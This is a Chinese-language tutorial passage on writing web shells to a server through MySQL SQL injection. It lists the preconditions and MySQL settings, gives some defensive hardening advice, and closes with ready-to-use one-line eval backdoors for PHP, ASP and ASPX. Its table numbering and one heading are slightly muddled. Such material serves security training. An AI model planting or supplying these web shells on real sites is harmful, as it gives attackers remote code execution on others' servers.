03_webshell
一、Web shell 介绍
二、sql 注入上传web shell
2.1 满足sql注入上传webshell前提四个条件:
以下是基于制作的木马写入前提条件表格,严格遵循图片原文的四个核心条件:
序号 | 前提条件描述 | 补充说明 |
---|---|---|
1 | MySQL 开启了 secure_file_priv="" 的配置 |
配置值为空字符串,表示允许任意目录文件读写(高风险) |
4 | 数据库用户最好为 root 用户 | 非必需,但高权限用户(如 root)操作成功率更高 |
3 | 物理路径具备写入权限 | 目标目录(如 /var/www/html )需对 MySQL 进程开放写权限 |
2 | 知晓网站代码的真实物理路径 | 需精确获知服务器上网站根目录的绝对路径 |
2.2.1 关键细节说明
-
secure_file_priv=""
配置- 配置生效方式:需在 MySQL 配置文件(
my.cnf
)中添加:[mysqld] secure_file_priv = ""
- 验证命令:
SHOW VARIABLES LIKE 'secure_file_priv';
- 风险提示:此配置将允许数据库读写任意路径文件,强烈不建议在生产环境启用。
- 配置生效方式:需在 MySQL 配置文件(
-
条件逻辑关系
-
Root 用户的作用
- 绕过权限限制(如目录属组权限不足)
- 直接操作敏感路径(如
/etc
、系统日志目录) - 简化提权过程(例如利用
SET GLOBAL
修改全局变量)
防御建议:
如您为系统管理员,请通过以下措施阻断此类攻击:
- 将
secure_file_priv
设为专用目录(如/mysql_tmp
)或NULL
;- 运行命令
REVOKE FILE ON *.* FROM '非特权用户'
;- 对网站目录执行
chattr +i /var/www/html
禁止写入。
2.2.2 MySQL开启了secure_file_priv="1"的配置:
root@attack:/etc/mysql# tail -n 2 my.cnf
[mysqld]
secure_file_priv = /tmp/
2.2.3 上传一句话木马
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>